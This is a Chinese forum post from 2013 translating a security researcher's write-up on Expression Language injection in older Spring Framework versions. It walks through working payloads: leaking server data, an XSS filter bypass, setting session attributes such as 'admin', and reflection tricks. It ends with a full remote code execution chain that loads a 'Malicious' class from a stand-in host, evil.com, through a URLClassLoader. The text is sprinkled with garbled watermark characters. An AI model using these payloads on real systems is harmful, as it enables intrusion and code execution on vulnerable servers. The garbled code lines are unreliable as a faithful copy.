找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2200|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
8 T3 |1 T# m6 m9 l. l! ?$ xExpression Language Injection5 @! r1 y* I9 h
Spring Framework脆弱性—DanAmodio% y" [, w" e+ T& U
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
0 F5 W! h# E( E4 }; \1 y可能会存在风险。6 Y( G! B2 q+ F( v5 p' l& Z6 L8 e1 M
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
* w. X+ I; S) d) T" P8 V% \Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
2 W( I$ Z2 l3 G. _3 ~以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,. ~5 k: V! K3 V" S, X2 B% `' m! k' P
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前) w* E& {& Y) J% A0 y7 n1 S
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。# C. A9 a; L% P+ o; x1 i
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
2 H- ?4 z# J* m# ?7 e3 [+ z我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
1 A7 h& a# o5 B本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。# h6 R5 e$ W5 [' V' D
这些版本不支持禁用double EL resolution.
. W+ ^  D: @- \4 N$ r这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含) M: |5 J% ~" h( P/ A
EL2.2容器上可能进行远程代码执行。
$ N& ?, ?6 d8 ^5 F; o7 m' P# O这是一个原始信息泄露的攻击例子:
0 ^" X; M1 s0 N: f- U  o( D4 {请求:
: `5 ^/ `  i- w0 ettp://vulnerable.com/foo?message=${applicationScope}
5 C! D. E" H4 q) l; W& d' p1 n到达以下内容页面:7 Y, a; [) S" V+ j+ k
结果将输出一些包含内部服务器信息calsspath 和本地工作目录8 Z9 d7 Y8 ]) S/ G# Z# z; f2 P. E
你也可以做一些其他事情,如这样:
0 K2 {$ U& J+ p/ l' ?${9999+1}
9 L/ w; y9 y1 y0 Z还可以访问session 对象和beans
' m1 X8 |* ]1 W" {- h# [${employee.lastName}
: K) a0 [7 t: T: f3 r在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
! @/ |" \% W6 y3 w& h4 DEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
* [' Y( O+ W* ]+ E4 U4 Z1 Z) R西,比如XSS.
; E1 G( v+ b( d) ^7 ~0 C7 C8 X哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签; x/ M, U# y7 k% X3 b
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
% {9 H$ P" R# s( q呢?”
7 \; n7 v+ L( q' M- Q因此,我尝试巳缦拢�
& O- Z; P& L( I* p/ G4 Q3 Mhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP$ r2 e5 c: n, t1 U8 T& E
P) B* T; Q, Q! u' ]+ y
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返& F- S2 D* w) j. z  ~" V
回的文本被插入进了spring:message 标签。! s5 e: ~0 C' M4 q7 m" B
这里是一个最终绕过过滤的实例:
7 a% B  X" m. k+ A3 X7 mhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ4 o5 P( P# e8 z& y- v$ M
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为* \/ A- x2 V/ O& Z
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
8 _% t5 P" V$ Y; O经过一番研究,我学习到EL2.2 增加了方法调用。, W( v$ d" F1 S1 ^5 A* O5 c
我写了一个快速测试应用程序代码并且检测一些功能6 i& n( W$ V2 |6 z
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
& O( R$ ^5 W) \1 U5 Y${pageContext.request.getSession().setAttribute(“admin”,true)}
) S  T9 c: l: c/ T+ t好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的# h! i( E8 z2 y- S) @9 ^
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
6 j: n* O" l! M8 y+ a; A: Y${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
" l& U1 F2 t9 |3 \“, 1234)}% G+ n5 z" {+ W# w( D
${“”.getClass().forName(“java.lang.Runtime”)}
0 k; w( ~1 p% F0 J+ F( P哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不& x" v  B, H) g% p: ?5 [
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
8 b8 L; i9 Y' h9 Y2 ~数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
$ b2 G+ x4 f# Q$ g0 R一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
, w+ e! m6 g% n方法签名invoke(Object obj, Object„ args)
* w/ o$ h1 x0 T7 I1 |2 }- T' EJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
( r+ [3 ^/ l3 y4 ~题,以让它可以工作起来。
! J4 H1 F7 y1 \漏洞利用:
; i" U3 o% H8 m5 S9 h我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
1 d* @( I- k1 r: `希望你们中的一些JAVA奇才告诉我我是如此的可笑。2 q; L- i" q8 d* I3 T2 Q' r
这里有一些我试过的失败的用例,为了试图让它工作的用例:
6 {) _: }4 d* i7 I$ _2 x 写文件到文件系统( _* H8 Q' y% P! y5 n3 w
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
; ]$ Y# u( a3 c7 Z! y我认为这些可以很好的工作,但是我不能找到合适的类来载入。! ?1 S. _0 L/ ~3 a; e
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}! n. P9 ?% n( s" C  u5 W
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:! c2 ~( @2 v! Q4 i2 }4 N+ c+ U
org.springframework.expression.spel.standard.SpelExpressionParser not found: d! l" f( P+ _2 T
by
7 h( g! @: y/ O. v, y# `7 h2 I. Porg.glassfish.web.javax.servlet.jsp [194]., N( E2 F/ b/ j4 }
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public+ D, }0 @' o) w  c
 利用反射来创建一个新的Runtime(and watch the world burn)
, e" B& f, |6 u6 N# k${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName! }2 t1 N0 H6 S6 w! n8 k  g' Z
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
5 K' D' x" t; O# j${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}! A2 p7 `3 ]( {6 U
 使用java.lang.ProcessBuilder
1 D+ {! Y4 S- \ 用表达式语言来评估表达式语言) W3 |2 F6 E6 Y* v6 m6 b+ @+ g) M$ M
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
! X- L: x: z9 B+ w${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
+ o) K2 o% _! Y: Q, z: k& t“,”".getClass(),null)}' u& H+ O$ l  t9 R- r
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)/ w2 Z% G5 _5 u; v' O2 T( Z
我在使用一个空数组通过Method.invoke()时失败了很多次
8 s. s* x6 \7 O4 T9 @, g6 V“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo& e2 s9 B5 z, H7 i
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A& p: W6 O1 v) G! s  N: S
rrayList”).newInstance().toArray())1 M8 x2 I+ J# |* X
java.lang.IllegalArgumentException: wrong number of arguments
% s3 M) H( m5 _3 h最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可  V! h* W( N2 Z  S$ h1 c! @
以创建一个恶意class文件并且指向类装载器.# H9 G8 Z& X. P0 u9 S
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:& B# {% l, M9 V" F4 q9 e1 ~% h
public class Malicious {9 C3 o0 i# ^2 U8 O. B
public Malicious() {& F5 J, t6 |8 T. w# M$ T4 Z! ]1 h
try {3 j7 ]' v# Q* v& l* L- r/ T8 u4 D: G
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
( ]; m! L+ P' B# sjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win' H  K$ O1 [( i, K
} catch (Exception e) {
7 a/ f/ ^! c8 R: ?! Q# g7 O}
! `' s+ ], b3 k* i! O* U}
. w, J' ^; Z1 Z7 ~) `我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回; x. a0 b% G" [; n
话中,因此它可以被使用.
  s& i2 d. _* Z! s8 e) y/ r${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
" f+ A9 w* T) x# b  y(“java.util.ArrayList”).newInstance())}! Q7 V6 [5 a) _4 }1 E. v" b& Y
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
6 [) j) N, v) Z! R一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和: v( P( x  {# b2 z8 ?5 x* g
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
( X# e7 R1 i: g我们可以调用的create(string)方法,然后转换对一个URL对象。6 ~+ N, z8 ?: ^* g
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh6 X# I& t8 O4 _/ }3 q& g# Y" T
ere/malicious/classfile/is/located/”).toURL())}3 s  u) s8 q7 l' V3 i
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
7 F+ I- M" _# e- P: S恶意类文件被装载并创建,触发远程代码.
( _& G% F1 b5 H+ {5 }! ?${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
+ }, z# H" K2 w: L/ S9 C: K' Q' `2 \xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
$ `) C( I3 X, f4 c. B7 jgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
1 {  J/ p5 G1 p2 G& ^- S()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表